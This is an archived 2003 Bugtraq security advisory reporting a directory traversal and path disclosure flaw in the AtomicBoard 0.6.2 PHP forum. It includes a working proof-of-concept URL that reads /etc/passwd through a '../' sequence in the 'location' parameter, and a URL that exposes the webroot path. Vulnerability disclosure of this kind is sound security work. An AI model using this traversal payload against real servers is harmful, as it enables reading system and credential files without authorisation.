

Path disclosure and file retrieving in AtomicBoard-0.6.2

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2003-07/0260.html>

From: gr00vy (groovy2600_at_yahoo.com.ar)

Date: 07/21/03

To: BugTraq <bugtraq@securityfocus.com>, rich@cal007300.student.utwente.nl

Date: 21 Jul 2003 02:16:12 -0300

Vendors has been contacted.

Main WEB: <http://cal007300.student.utwente.nl/atomicboard/>

DESCRIPTION:

=====
What is AtomicBoard?

"An object oriented framework for building forums/weblogs"

AtomicBoard is an Open Source web application written in PHP4 which can serve as a forum or as a framework with which you can build your own forum or weblog.

/* Description from <http://cal007300.student.utwente.nl/atomicboard/> */

DETAILS:

=====
There is a vulnerability in the current version of AtomicBoard (AtomicBoard v0.6.2) that allows an attacker to retrieve files from the webserver with webserver's ID, and also the failure exposes the path of the webroot.

File retrieving:

<http://server/atomicboard/index.php?location=../../../../etc/passwd>

RESPONSE:

Complete contents of the specified file.

Path Disclosure:

<http://server/AtomicBoard-0.6.2/index.php?location=anything>

Class.TemplateEngine::loadFile: file not found

(/www/webs/groovy.no-ip.com/AtomicBoard-0.6.2/include/anything)

CREDITS:

SecurityFocus Bugtraq: Path disclosure and file retrieving in AtomicBoard-0.6.2

Bug discovered by gr00vy
Thanks to EthNic
Research Labs gr00vy & Ethnic :D

--
gr00vy <groovy2600@yahoo.com.ar>
Linux User -- ZenCracking.com.ar